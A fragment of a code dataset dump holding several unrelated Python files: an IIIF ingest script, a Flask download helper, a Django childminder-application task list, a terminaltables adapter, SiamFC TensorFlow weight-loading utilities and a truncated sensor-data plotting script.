try:\n config.read(arg.config) # read configuration file defined in command line arguments\n \n # pass values to instance of GlobalConfig as arguments, that will add them to dictionary\n GlobalConfig( \n manifest_uri = config.get('manifest','uri'),\n manifest_id = config.get('manifest','id'),\n manifest_base_metadata_dir = config.get('manifest','base_metadata_dir'),\n manifest_base_image_uri = config.get('manifest','base_image_uri'),\n manifest_iiif_image_info_version = config.get('manifest','iiif_image_info_version'),\n manifest_iiif_image_info_compliance = config.get('manifest','iiif_image_info_compliance'),\n debug = config.get('manifest','debug'),\n manifest_label = config.get('manifest','label'),\n manifest_description = config.get('manifest','description'),\n manifest_viewingDirection = config.get('manifest','viewingDirection'),\n sequence_id = config.get('sequence','id'),\n sequence_name = config.get('sequence','name'),\n sequence_label = config.get('sequence','label'),\n \n canvas_id = config.get('canvas','id'),\n canvas_label = config.get('canvas','label'),\n annotation_uri = config.get('annotation','uri'),\n annotation_id_path = config.get('annotation', 'id_path'),\n image_location_path = config.get('image', 'location_path'),\n metadata = '')\n \n except IOError as e:\n print('Cannot read configuration file: ', e)\n sys.exit(0)\n \n except Exception as e:\n print('Error when adding values from the configuration file to the global dictionary: ', e)\n sys.exit(0) \n \n def parseArguments(self):\n \"\"\"Parses command line arguments and adds values to GlobalConfig attribute dictionary\"\"\"\n \n parser = argparse.ArgumentParser() # instance of command line argument parser\n\n #POSITIONAL/REQUIRED ARGUMENTS\n parser.add_argument(\"--config\", help=\"configuration file\", required=\"True\")\n parser.add_argument(\"--input\", help=\"input source file\", required=\"True\") \n parser.add_argument(\"--output\", help=\"output destination file\")\n parser.add_argument(\"--image_src\", help=\"image source: directory | mets_file\", required=\"True\")\n\n #OPTIONAL ARGUMENTS\n \n # eg /home/dmt/Documents/IIIF_Ingest/images/\n parser.add_argument(\"--image_dir\", help=\"location of image directory (if source folder used for images\")\n parser.add_argument(\"--compact\", help=\"Should json be compact form or human-readable: Compact | Normal\")\n\n # convert argument strings to objects and assign them as attributes\n # https://docs.python.org/2/library/argparse.html#the-parse-args-method\n try:\n arguments = parser.parse_args()\n except Exception as e:\n print('Problem encountered with reading command line arguments: ', e)\n sys.exit(0)\n \n # Add command line arguments to the global dictionary using GlobalConfig\n try:\n GlobalConfig(config = arguments.config )\n GlobalConfig(input = arguments.input)\n GlobalConfig(output = arguments.output)\n GlobalConfig(image_src = arguments.image_src )\n GlobalConfig(image_dir = arguments.image_dir )\n GlobalConfig(compact = arguments.compact)\n \n except Exception as e:\n print('Problem encountered with adding command line arguments to global variables: ', e)\n sys.exit(0) \n \n \n\n\nif __name__ == \"__main__\": main()\n\n \n","sub_path":"goobi-step/in2iiif/in2iiif.py","file_name":"in2iiif.py","file_ext":"py","file_size_in_byte":8028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"282349073","text":"\"\"\"provide common utility attributes such as root path.\"\"\"\n\nfrom os import path\nfrom typing import Any\n\nfrom flask import make_response\n\nROOT_DIR = path.dirname(path.abspath(__file__))\n\n\ndef serve_file_download(file_name, file_folder, x_accel_folder,\n file_sub_folder='', content_type='application/octet-stream') -> Any:\n \"\"\"\n Endpoint to serve file download.\n\n :param file_name: name of the file\n :type file_name: str\n :param file_folder: name of the folder\n :type file_folder: str\n :param x_accel_folder: location of the x-accel folder\n :type x_accel_folder: str\n :param file_sub_folder: sub folder of both the x-accel folder and the original folder\n :type file_sub_folder: str\n :param content_type: content type of the file, defaults to 'application/octet-stream'\n :type content_type: str, optional\n :return: response, the file download\n :rtype: Flask response\n \"\"\"\n from run import config\n\n file_path = path.join(config.get('SAMPLE_REPOSITORY', ''), file_folder, file_sub_folder, file_name)\n response = make_response()\n response.headers['Content-Description'] = 'File Transfer'\n response.headers['Cache-Control'] = 'no-cache'\n response.headers['Content-Type'] = content_type\n response.headers['Content-Disposition'] = f'attachment; filename={file_name}'\n response.headers['Content-Length'] = path.getsize(file_path)\n response.headers['X-Accel-Redirect'] = '/' + path.join(x_accel_folder, file_sub_folder, file_name)\n\n return response\n","sub_path":"utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"524181731","text":"\"\"\"\nOFS-MORE-CCN3: Apply to be a Childminder Beta\n-- task_list.py --\n\n@author: Informed Solutions\n\nHandler for returning a list of tasks to be completed by a user when applying, coupled with the relevant status value\nbased on whether they have previously completed the task or not.\n\"\"\"\n\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.urls import reverse\nfrom django.views.decorators.cache import never_cache\n\nfrom ..models import (ApplicantPersonalDetails, Application,\n ChildcareType, ApplicantHomeAddress)\nfrom ..business_logic import get_childcare_register_type\n# noinspection PyTypeChecker\nfrom ..utils import can_cancel\n\n\ndef show_hide_tasks(context, application):\n \"\"\"\n Method hiding or showing the Your children and/or People in your home tasks based on whether the applicant has\n children and/or works in another childminder's home\n :param context: a dictionary containing all tasks for the task list\n :param context: Application object\n :return: dictionary object\n \"\"\"\n\n for task in context['tasks']:\n if task['name'] == 'your_children':\n\n task['hidden'] = True\n\n if task['name'] == 'other_people':\n if application.working_in_other_childminder_home is True:\n task['hidden'] = True\n else:\n task['hidden'] = False\n\n return context\n\n\n@never_cache\ndef task_list(request):\n \"\"\"\n Method returning the template for the task-list (with current task status) for an applicant's application;\n logic is built in to enable the Declarations and Confirm your details tasks when all other tasks are complete\n :param request: a request object used to generate the HttpResponse\n :return: an HttpResponse object with the rendered task list template\n \"\"\"\n\n if request.method == 'GET':\n application_id = request.GET[\"id\"]\n\n application = Application.objects.get(pk=application_id)\n\n # Add handlers to prevent a user re-accessing their application details and modifying post-submission\n if application.application_status == 'ARC_REVIEW' or application.application_status == 'SUBMITTED':\n return HttpResponseRedirect(\n reverse('Awaiting-Review-View') + '?id=' +\n str(application.application_id)\n )\n\n if application.application_status == 'ACCEPTED':\n return HttpResponseRedirect(\n reverse('Accepted-View') + '?id=' + str(application.application_id)\n )\n\n try:\n childcare_record = ChildcareType.objects.get(\n application_id=application_id)\n except Exception as e:\n return HttpResponseRedirect(reverse(\"Type-Of-Childcare-Guidance-View\") + '?id=' + application_id)\n\n if application.personal_details_status == 'NOT_STARTED' or application.personal_details_status == 'IN_PROGRESS':\n return HttpResponseRedirect(reverse(\"Personal-Details-Name-View\") + '?id=' + application_id)\n\n zero_to_five_status = childcare_record.zero_to_five\n\n # Get the fee and the type for display on the page\n childcare_register_type, fee = get_childcare_register_type(\n application.application_id)\n\n if childcare_register_type == 'EYR-CR-both':\n registers = 'Early Years and Childcare Register (both parts)'\n elif childcare_register_type == 'EYR-CR-compulsory':\n registers = 'Early Years and Childcare Register (compulsory part)'\n elif childcare_register_type == 'EYR-CR-voluntary':\n registers = 'Early Years and Childcare Register (voluntary part)'\n elif childcare_register_type == 'EYR':\n registers = 'Early Years Register'\n elif childcare_register_type == 'CR-compulsory':\n registers = 'Childcare Register (compulsory part)'\n elif childcare_register_type == 'CR-both':\n registers = 'Childcare Register (both parts)'\n elif childcare_register_type == 'CR-voluntary':\n registers = 'Childcare Register (voluntary part)'\n\n \"\"\"\n Variables which are passed to the template\n \"\"\"\n\n context = {\n 'id': application_id,\n 'all_complete': False,\n 'registers': registers,\n 'fee': '£' + str(fee),\n 'can_cancel': can_cancel(application),\n 'application_status': application.application_status,\n 'tasks': [\n {\n # This is CSS class (Not recommended to store it here)\n 'name': 'account_details',\n 'status': application.login_details_status,\n 'arc_flagged': application.login_details_arc_flagged,\n 'description': \"Your sign in details\",\n 'hidden': False,\n 'status_url': None, # Will be filled later\n 'status_urls': [ # Available urls for each status\n {'status': 'COMPLETED', 'url': 'Contact-Summary-View'},\n {'status': 'FLAGGED', 'url': 'Contact-Summary-View'},\n # For all other statuses\n {'status': 'OTHER', 'url': 'Contact-Email-View'},\n ],\n },\n {\n 'name': 'children',\n 'status': application.childcare_type_status,\n 'arc_flagged': application.childcare_type_arc_flagged,\n 'description': \"Type of childcare\",\n 'hidden': False,\n 'status_url': None,\n 'status_urls': [\n {'status': 'COMPLETED', 'url': 'Type-Of-Childcare-Summary-View'},\n {'status': 'FLAGGED', 'url': 'Type-Of-Childcare-Summary-View'},\n {'status': 'OTHER', 'url': 'Type-Of-Childcare-Guidance-View'}\n ],\n },\n {\n 'name': 'personal_details',\n 'status': application.personal_details_status,\n 'arc_flagged': application.personal_details_arc_flagged,\n 'description': \"Your personal details\",\n 'hidden': False,\n 'status_url': None,\n 'status_urls': [\n {'status': 'COMPLETED', 'url': 'Personal-Details-Summary-View'},\n {'status': 'FLAGGED', 'url': 'Personal-Details-Summary-View'},\n {'status': 'OTHER', 'url': 'Personal-Details-Name-View'}\n ],\n },\n {\n 'name': 'your_children',\n 'status': application.your_children_status,\n 'arc_flagged': application.your_children_arc_flagged,\n 'description': \"Your children\",\n 'hidden': False,\n 'status_url': None,\n 'status_urls': [\n {'status': 'COMPLETED', 'url': 'Your-Children-Summary-View'},\n {'status': 'FLAGGED', 'url': 'Your-Children-Summary-View'},\n {'status': 'OTHER', 'url': 'Your-Children-Guidance-View'}\n ],\n },\n {\n 'name': 'first_aid',\n 'status': application.first_aid_training_status,\n 'arc_flagged': application.first_aid_training_arc_flagged,\n 'description': \"First aid training\",\n 'hidden': False,\n 'status_url': None,\n 'status_urls': [\n {'status': 'COMPLETED', 'url': 'First-Aid-Training-Summary-View'},\n {'status': 'FLAGGED', 'url': 'First-Aid-Training-Summary-View'},\n {'status': 'OTHER', 'url': 'First-Aid-Training-Guidance-View'}\n ],\n },\n {\n 'name': 'eyfs',\n 'status': application.childcare_training_status,\n 'arc_flagged': application.childcare_training_arc_flagged,\n 'description': 'Childcare training',\n 'hidden': False,\n 'status_url': None,\n 'status_urls': [\n {'status': 'COMPLETED', 'url': 'Childcare-Training-Summary-View'},\n {'status': 'FLAGGED', 'url': 'Childcare-Training-Summary-View'},\n {'status': 'OTHER', 'url': 'Childcare-Training-Guidance-View'}\n ],\n },\n {\n 'name': 'health',\n 'status': application.health_status,\n 'arc_flagged': application.health_arc_flagged,\n 'description': \"Health declaration form\",\n 'hidden': True if not zero_to_five_status else False,\n 'status_url': None,\n 'status_urls': [\n {'status': 'COMPLETED', 'url': 'Health-Check-Answers-View'},\n {'status': 'FLAGGED', 'url': 'Health-Check-Answers-View'},\n {'status': 'OTHER', 'url': 'Health-Intro-View'}\n ],\n },\n {\n 'name': 'dbs',\n 'status': application.criminal_record_check_status,\n 'arc_flagged': application.criminal_record_check_arc_flagged,\n 'description': \"Criminal record checks\",\n 'hidden': False,\n 'status_url': None,\n 'status_urls': [\n {'status': 'COMPLETED', 'url': 'DBS-Summary-View'},\n {'status': 'FLAGGED', 'url': 'DBS-Summary-View'},\n {'status': 'OTHER', 'url': 'DBS-Guidance-View'}\n ],\n },\n {\n 'name': 'other_people',\n 'status': application.people_in_home_status,\n 'arc_flagged': application.people_in_home_arc_flagged,\n 'description': \"People in the home\",\n 'hidden': False,\n 'status_url': None,\n 'status_urls': [\n {'status': 'COMPLETED', 'url': 'PITH-Summary-View'},\n {'status': 'FLAGGED', 'url': 'PITH-Summary-View'},\n {'status': 'WAITING', 'url': 'PITH-Summary-View'},\n {'status': 'OTHER', 'url': 'PITH-Guidance-View'}\n ],\n },\n {\n 'name': 'suitability',\n 'status': application.suitability_details_status,\n 'arc_flagged': application.suitability_details_arc_flagged,\n 'description': \"Suitability\",\n 'hidden': False,\n 'status_url': None,\n 'status_urls': [\n {'status': 'COMPLETED', 'url': 'disqualification_question'},\n {'status': 'FLAGGED', 'url': 'suitability_summary'},\n {'status': 'WAITING', 'url': 'suitability_summary'},\n {'status': 'OTHER', 'url': 'disqualification_question'}\n ],\n },\n {\n 'name': 'references',\n 'status': application.references_status,\n 'arc_flagged': application.references_arc_flagged,\n 'description': \"References\",\n 'hidden': True if not zero_to_five_status else False,\n 'status_url': None,\n 'status_urls': [\n {'status': 'COMPLETED', 'url': 'References-Summary-View'},\n {'status': 'FLAGGED', 'url': 'References-Summary-View'},\n {'status': 'OTHER', 'url': 'References-Intro-View'}\n ],\n },\n {\n 'name': 'review',\n 'status': None,\n 'arc_flagged': application.application_status,\n # If application is being resubmitted (i.e. is not drafting,\n # set declaration task name to read \"Declaration\" only)\n 'description':\n \"Declaration and payment\" if application.application_status == 'DRAFTING' else \"Declaration\",\n 'hidden': False,\n 'status_url': None,\n 'status_urls': [\n {'status': 'COMPLETED', 'url': 'Declaration-Declaration-View'},\n {'status': 'OTHER', 'url': 'Declaration-Summary-View'}\n ],\n },\n ]\n }\n\n # Show/hide Your children and People in your home tasks\n context = show_hide_tasks(context, application)\n\n unfinished_tasks = [task for task in context['tasks'] if not task['hidden'] and\n task['status'] in ['IN_PROGRESS', 'NOT_STARTED', 'FLAGGED', 'WAITING']]\n\n if len(unfinished_tasks) < 1:\n context['all_complete'] = True\n else:\n task_names = [task['name'] for task in unfinished_tasks]\n if (not zero_to_five_status) and len(task_names) == 2 and 'health' in task_names and 'references' in task_names:\n context['all_complete'] = True\n else:\n context['all_complete'] = False\n\n if context['all_complete']:\n # Set declaration status to NOT_STARTED\n for task in context['tasks']:\n if task['name'] == 'review':\n if task['status'] is None:\n task['status'] = application.declarations_status\n\n # Prepare task links\n for task in context['tasks']:\n\n # Iterating through tasks\n\n for url in task.get('status_urls'): # Iterating through task available urls\n # Match current task status with url which is in status_urls\n if url['status'] == task['status']:\n # Set main task primary url to the one which matched\n task['status_url'] = url['url']\n\n if not task['status_url']: # In case no matches were found by task status\n # Search for link with has status \"OTHER\"\n for url in task.get('status_urls'):\n if url['status'] == \"OTHER\":\n task['status_url'] = url['url']\n\n return render(request, 'task-list.html', context)\n","sub_path":"application/views/task_list.py","file_name":"task_list.py","file_ext":"py","file_size_in_byte":13825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"11110219","text":"import terminaltables\n\nfrom .preprocessors import (bytes_to_string, align_decimals,\n override_missing_value)\n\nsupported_formats = ('ascii', 'double', 'github')\npreprocessors = (bytes_to_string, override_missing_value, align_decimals)\n\n\ndef adapter(data, headers, table_format=None, **_):\n \"\"\"Wrap terminaltables inside a standard function for OutputFormatter.\"\"\"\n\n table_format_handler = {\n 'ascii': terminaltables.AsciiTable,\n 'double': terminaltables.DoubleTable,\n 'github': terminaltables.GithubFlavoredMarkdownTable,\n }\n\n try:\n table = table_format_handler[table_format]\n except KeyError:\n raise ValueError('unrecognized table format: {}'.format(table_format))\n\n t = table([headers] + data)\n return t.table\n","sub_path":"mycli/output_formatter/terminaltables_adapter.py","file_name":"terminaltables_adapter.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"282993829","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Copyright © 2016 bily Huazhong University of Science and Technology\n#\n# Distributed under terms of the MIT license.\n\n\"\"\"Utilities for model construction\"\"\"\nimport re\n\nimport numpy as np\nimport tensorflow as tf\nfrom scipy import io as sio\n\nfrom utils.misc import get_center\nimport logging\n\ndef _construct_gt_response(response_size, batch_size, stride, gt_config=None):\n \"\"\"Construct a batch of 2D ground truth response\n\n Args:\n response_size: a list or tuple with two elements [ho, wo]\n batch_size: an integer e.g. 16\n stride: embedding stride e.g. 8\n gt_config: configurations for ground truth generation\n\n return:\n a float tensor of shape [batch_size] + response_size\n \"\"\"\n with tf.variable_scope('construct_gt') as ct_scope:\n ho = response_size[0]\n wo = response_size[1]\n y = tf.cast(tf.range(0, ho), dtype=tf.float32) - get_center(ho)\n x = tf.cast(tf.range(0, wo), dtype=tf.float32) - get_center(wo)\n [Y, X] = tf.meshgrid(y, x)\n\n gt_type = gt_config['type']\n if gt_type == 'gaussian':\n def _gaussian_2d(X, Y, sigma):\n x0, y0 = 0, 0 # the target position, i.e. the center\n return tf.exp(-0.5 * (((X - x0) / sigma) ** 2 + ((Y - y0) / sigma) ** 2))\n\n sigma = gt_config['rPos'] / stride / 3.0\n gt = _gaussian_2d(X, Y, sigma)\n elif gt_type == 'overlap':\n def _overlap_score(X, Y, stride, area):\n area_x, area_y = [tf.to_float(a) / stride for a in area]\n x_diff = (area_x - tf.abs(X))\n y_diff = (area_y - tf.abs(Y))\n\n # Intersection over union\n Z = x_diff * y_diff / (2 * area_x * area_y - x_diff * y_diff)\n\n # Remove negative intersections\n Z = tf.where(x_diff > 0, Z, tf.zeros_like(Z))\n Z = tf.where(y_diff > 0, Z, tf.zeros_like(Z))\n return Z\n\n area = [64, 64]\n logging.info('area are fixed for overlap gt type')\n gt = _overlap_score(X, Y, stride, area)\n elif gt_type == 'logistic':\n def _logistic_label(X, Y, rPos, rNeg):\n # dist_to_center = tf.sqrt(tf.square(X) + tf.square(Y)) # L2 dist\n dist_to_center = tf.abs(X) + tf.abs(Y) # Block dist\n Z = tf.where(dist_to_center <= rPos,\n tf.ones_like(X),\n tf.where(dist_to_center < rNeg,\n 0.5 * tf.ones_like(X),\n tf.zeros_like(X)))\n return Z\n\n rPos = gt_config['rPos'] / stride\n rNeg = gt_config['rNeg'] / stride\n gt = _logistic_label(X, Y, rPos, rNeg)\n else:\n raise NotImplementedError\n\n # Create a batch of ground truth response\n gt_expand = tf.reshape(gt, [1] + response_size)\n gt = tf.tile(gt_expand, [batch_size, 1, 1])\n return gt\n\n\ndef get_exemplar_images(images, exemplar_size, targets_pos=None):\n \"\"\"Get exemplar image from input images\n\n args:\n images: images of shape [batch, height, width, 3]\n exemplar_size: [height, width]\n targets_pos: target center positions in the input images, of shape [batch, 2]\n\n return:\n exemplar images of shape [batch, height, width, 3]\n \"\"\"\n with tf.name_scope('get_exemplar_image'):\n batch_size, x_height, x_width = images.get_shape().as_list()[:3]\n z_height, z_width = exemplar_size\n\n if targets_pos is None:\n target_pos_single = [[get_center(x_height), get_center(x_width)]]\n targets_pos_ = tf.tile(target_pos_single, [batch_size, 1])\n else:\n targets_pos_ = targets_pos\n\n # convert to top-left corner based coordinates\n top = tf.to_int32(tf.round(targets_pos_[:, 0] - get_center(z_height)))\n bottom = tf.to_int32(top + z_height)\n left = tf.to_int32(tf.round(targets_pos_[:, 1] - get_center(z_width)))\n right = tf.to_int32(left + z_width)\n\n def _slice(x):\n f, t, l, b, r = x\n c = f[t:b, l:r]\n return c\n\n exemplar_img = tf.map_fn(_slice, (images, top, left, bottom, right), dtype=images.dtype)\n exemplar_img.set_shape([batch_size, z_height, z_width, 3])\n print(\"batch\",batch_size)\n return exemplar_img\n\n\n\ndef extract_patch(inputs, patch_size, top_left=None):\n \"\"\"Extract patch from inputs Tensor\n\n args:\n inputs: Tensor of shape [batch, height, width, feature_num]\n patch_size: [height, width]\n top_left: patch top_left positions in the input tensor, of shape [batch, 2]\n\n return:\n patches of shape [batch, height, width, feature_num]\n \"\"\"\n with tf.name_scope('extract_patch'):\n batch_size, x_height, x_width, feat_num = inputs.get_shape().as_list()\n z_height, z_width = patch_size\n\n if top_left is None:\n pos_single = [[get_center(x_height), get_center(x_width)]]\n patch_center_ = tf.tile(pos_single, [batch_size, 1])\n\n # convert to top-left corner based coordinates\n top = tf.to_int32(tf.round(patch_center_[:, 0] - get_center(z_height)))\n left = tf.to_int32(tf.round(patch_center_[:, 1] - get_center(z_width)))\n else:\n top = tf.to_int32(top_left[:, 0])\n left = tf.to_int32(top_left[:, 1])\n\n bottom = tf.to_int32(top + z_height)\n right = tf.to_int32(left + z_width)\n\n def _slice(x):\n f, t, l, b, r = x\n c = f[t:b, l:r]\n return c\n\n patch = tf.map_fn(_slice, (inputs, top, left, bottom, right), dtype=inputs.dtype)\n\n # Restore some shape\n patch.set_shape([batch_size, z_height, z_width, feat_num])\n return patch\n\n\ndef get_params_from_mat(matpath):\n \"\"\"Get parameter from .mat file into parms(dict)\"\"\"\n\n def squeeze(vars_):\n # Matlab save some params with shape (*, 1)\n # while in tensorflow, we don't need the trailing dimension.\n if isinstance(vars_, (list, tuple)):\n return [np.squeeze(v, 1) for v in vars_]\n else:\n return np.squeeze(vars_, 1)\n\n netparams = sio.loadmat(matpath)[\"net\"][\"params\"][0][0]\n params = dict()\n\n for i in range(netparams.size):\n param = netparams[0][i]\n name = param[\"name\"][0]\n value = param[\"value\"]\n value_size = param[\"value\"].shape[0]\n\n match = re.match(r\"([a-z]+)([0-9]+)([a-z]+)\", name, re.I)\n if match:\n items = match.groups()\n elif name == 'adjust_f':\n params['detection/weights'] = squeeze(value)\n continue\n elif name == 'adjust_b':\n params['detection/biases'] = squeeze(value)\n continue\n else:\n raise Exception('unrecognized layer params')\n\n op, layer, types = items\n layer = int(layer)\n if layer in [1, 3]:\n if op == 'conv': # convolution\n if types == 'f':\n params['conv%d/weights' % layer] = value\n elif types == 'b':\n value = squeeze(value)\n params['conv%d/biases' % layer] = value\n elif op == 'bn': # batch normalization\n if types == 'x':\n m, v = squeeze(np.split(value, 2, 1))\n params['conv%d/BatchNorm/moving_mean' % layer] = m\n params['conv%d/BatchNorm/moving_variance' % layer] = np.square(v)\n elif types == 'm':\n value = squeeze(value)\n params['conv%d/BatchNorm/gamma' % layer] = value\n elif types == 'b':\n value = squeeze(value)\n params['conv%d/BatchNorm/beta' % layer] = value\n else:\n raise Exception\n elif layer in [2, 4]:\n if op == 'conv' and types == 'f':\n b1, b2 = np.split(value, 2, 3)\n else:\n b1, b2 = np.split(value, 2, 0)\n if op == 'conv':\n if types == 'f':\n params['conv%d/b1/weights' % layer] = b1\n params['conv%d/b2/weights' % layer] = b2\n elif types == 'b':\n b1, b2 = squeeze(np.split(value, 2, 0))\n params['conv%d/b1/biases' % layer] = b1\n params['conv%d/b2/biases' % layer] = b2\n elif op == 'bn':\n if types == 'x':\n m1, v1 = squeeze(np.split(b1, 2, 1))\n m2, v2 = squeeze(np.split(b2, 2, 1))\n params['conv%d/b1/BatchNorm/moving_mean' % layer] = m1\n params['conv%d/b2/BatchNorm/moving_mean' % layer] = m2\n params['conv%d/b1/BatchNorm/moving_variance' % layer] = np.square(v1)\n params['conv%d/b2/BatchNorm/moving_variance' % layer] = np.square(v2)\n elif types == 'm':\n params['conv%d/b1/BatchNorm/gamma' % layer] = squeeze(b1)\n params['conv%d/b2/BatchNorm/gamma' % layer] = squeeze(b2)\n elif types == 'b':\n params['conv%d/b1/BatchNorm/beta' % layer] = squeeze(b1)\n params['conv%d/b2/BatchNorm/beta' % layer] = squeeze(b2)\n else:\n raise Exception\n\n elif layer in [5]:\n if op == 'conv' and types == 'f':\n b1, b2 = np.split(value, 2, 3)\n else:\n b1, b2 = squeeze(np.split(value, 2, 0))\n assert op == 'conv', 'layer5 contains only convolution'\n if types == 'f':\n params['conv%d/b1/weights' % layer] = b1\n params['conv%d/b2/weights' % layer] = b2\n elif types == 'b':\n params['conv%d/b1/biases' % layer] = b1\n params['conv%d/b2/biases' % layer] = b2\n\n return params\n\n\ndef load_mat_model(matpath, embed_scope, detection_scope=None):\n # Restore SiameseFC models from .mat model files\n params = get_params_from_mat(matpath)\n\n assign_ops = []\n\n def _assign(ref_name, params, scope=embed_scope):\n var_in_model = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES,\n scope + ref_name)[0]\n var_in_mat = params[ref_name]\n op = tf.assign(var_in_model, var_in_mat)\n assign_ops.append(op)\n\n for l in range(1, 6):\n if l in [1, 3]:\n _assign('conv%d/weights' % l, params)\n # _assign('conv%d/biases' % l, params)\n _assign('conv%d/BatchNorm/beta' % l, params)\n _assign('conv%d/BatchNorm/gamma' % l, params)\n _assign('conv%d/BatchNorm/moving_mean' % l, params)\n _assign('conv%d/BatchNorm/moving_variance' % l, params)\n elif l in [2, 4]:\n # Branch 1\n _assign('conv%d/b1/weights' % l, params)\n # _assign('conv%d/b1/biases' % l, params)\n _assign('conv%d/b1/BatchNorm/beta' % l, params)\n _assign('conv%d/b1/BatchNorm/gamma' % l, params)\n _assign('conv%d/b1/BatchNorm/moving_mean' % l, params)\n _assign('conv%d/b1/BatchNorm/moving_variance' % l, params)\n # Branch 2\n _assign('conv%d/b2/weights' % l, params)\n # _assign('conv%d/b2/biases' % l, params)\n _assign('conv%d/b2/BatchNorm/beta' % l, params)\n _assign('conv%d/b2/BatchNorm/gamma' % l, params)\n _assign('conv%d/b2/BatchNorm/moving_mean' % l, params)\n _assign('conv%d/b2/BatchNorm/moving_variance' % l, params)\n elif l in [5]:\n # Branch 1\n _assign('conv%d/b1/weights' % l, params)\n _assign('conv%d/b1/biases' % l, params)\n # Branch 2\n _assign('conv%d/b2/weights' % l, params)\n _assign('conv%d/b2/biases' % l, params)\n else:\n raise Exception('layer number must below 5')\n\n if detection_scope:\n _assign(detection_scope + 'biases', params, scope='')\n\n initialize = tf.group(*assign_ops)\n return initialize\ndef load_caffenet(path_caffenet):\n logging.info('Load object model from ' + path_caffenet)\n data_dict = np.load(path_caffenet).item()\n for op_name in data_dict:\n if op_name.find('fc')!=-1:\n continue\n full_op_name = 'siamese_fc/alexnet/'+op_name\n with tf.variable_scope(full_op_name, reuse=True):\n if op_name in ['conv2','conv4','conv5']:\n for param_name, data in data_dict[op_name].iteritems():\n d1, d2 = tf.split(data, 2, -1+len(data.shape)) # Last dim is selected to split\n for [d_, b_] in [[d1,'b1'],[d2,'b2']]:\n with tf.variable_scope(b_, reuse=True):\n var = tf.get_variable(param_name)\n sess.run(var.assign(d_))\n else:\n for param_name, data in data_dict[op_name].iteritems():\n var = tf.get_variable(param_name)\n sess.run(var.assign(data))","sub_path":"models/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":11741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"542957197","text":"#!/usr/bin/env python3\n\nROOT_PATH = \"/usr/lib/root\"\nNO_VALUE = -120 #value to use when the real value is not available\n\nimport sys\nsys.path.append(ROOT_PATH)\nfrom ROOT import gROOT, gStyle, TCanvas, TGraph, TGraphErrors, TImage, TH2F, TLegend\n\nfrom array import array\nfrom collections import defaultdict\nfrom datetime import datetime\nimport numpy as np\nfrom scipy.signal import savgol_filter\n\nDATAFIELDS = {\"\": (\"Graph\", \"\", \"Mean\"),\n\t\"temp\": (\"Temperature\", \"Temperature in C\", \"Mean temperature\"),\n\t\"hum\": (\"Humidity\", \"Humidity in %\", \"Mean humidity\")}\n\n#create an array of length len and type type filled with value val\ndef array_val_len(val, len, type = \"d\"):\n\ta = array(type)\n\ta.fromlist([val]*len)\n\treturn a\n\t\n#convert a list to an array of type type\ndef list_to_array(l, type = \"d\"):\n\ta = array(type)\n\ta.fromlist(l)\n\treturn a\n\ndef parse_hist(filename):\n\tdata = defaultdict(lambda: array(\"d\"))\n\tkeys = list()\n\tf = open(filename)\n\tfor line in f:\n\t\tline = line.strip()\n\t\tif line[0] == \"#\":\n\t\t\tkeys = line[1:].split(\" \")\n\t\telse:\n\t\t\tline = line.split(\" \")\n\t\t\tfor index, key in enumerate(keys):\n\t\t\t\tif key == \"date\" or key == \"time\":\n\t\t\t\t\tcontinue\n\t\t\t\tif index < len(line):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tvalue = float(line[index])\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\tvalue = NO_VALUE\n\t\t\t\telse:\n\t\t\t\t\tvalue = NO_VALUE\n\t\t\t\tdata[key].append(value)\n\t\t\t\t\t\n\t\t\t#parse timestamps\n\t\t\tif \"date\" in keys and \"time\" in keys:\t\n\t\t\t\tdate_idx = keys.index(\"date\")\n\t\t\t\ttime_idx = keys.index(\"time\")\n\t\t\t\tdate_str = \"%sT%s\" % (line[date_idx], line[time_idx])\n\t\t\t\ttry:\n\t\t\t\t\tts = datetime.strptime(date_str, \"%Y-%m-%dT%H:%M:%S.%f\").timestamp()\n\t\t\t\texcept ValueError:\n\t\t\t\t\tts = datetime.strptime(date_str, \"%Y-%m-%dT%H:%M:%S\").timestamp()\n\t\t\t\tdata[\"timestamp\"].append(ts)\n\treturn data\n\t\ndef find_stray_samples(x, min_diff, max_len = 10):\n\tt = np.where(abs(np.diff(x)) > min_diff)[0] + 1\n\tt_near = np.diff(t) <= max_len\n\t\n\t#remove points that do not have a partner within max_len\n\tt2 = np.array([], dtype=int)\n\ti = 0\n\twhile i < len(t_near):\n\t\tif t_near[i]:\n\t\t\tt2 = np.append(t2, [t[i], t[i+1]])\n\t\t\ti += 2\n\t\telse:\n\t\t\ti += 1\n\t\n\t#make slices from point pairs\n\tt2 = t2.reshape(len(t2) // 2, 2)\n\tslices = list()\n\tfor ival in t2:\n\t\tslices.append(np.s_[ival[0]:ival[1]])\n\treturn slices\n\t\ndef replace_stray_samples(x, min_diff):\n\t#replace missing values\n\tfor i, value in enumerate(x):\n\t\tif value == NO_VALUE:\n\t\t\tx[i] = x[i-1]\t\n\t\n\tslices = find_stray_samples(x, min_diff)\n\tfor s in slices:\n\t\tx[s] = array_val_len(x[s.start-1], s.stop - s.start)\n\t\n\treturn x\n\t\ndef find_constant_intervals(x, min_len, max_diff):\n\tintervals = list()\n\tfor start_pos, sample in enumerate(x[:-1]):\n\t\tfor j, sample2 in enumerate(x[start_pos + 1:]):\n\t\t\tif abs(sample2 - sample) > max_diff:\n\t\t\t\tbreak\n\t\tend_pos = start_pos + j + 1\n\t\tif end_pos - start_pos < min_len:\n\t\t\tcontinue\n\t\tintervals.append((start_pos, end_pos))\n\tif len(intervals) <= 1:\n\t\treturn intervals\n\t\n\t#filter out overlapping intervals. Keep the largest\n\tintervals_clear = intervals.copy()\n\tlast_ival = intervals[0]\n\tfor ival in intervals[1:]:\n\t\tif ival[0] < last_ival[1]:\n\t\t\tif ival[1] - ival[0] < last_ival[1] - 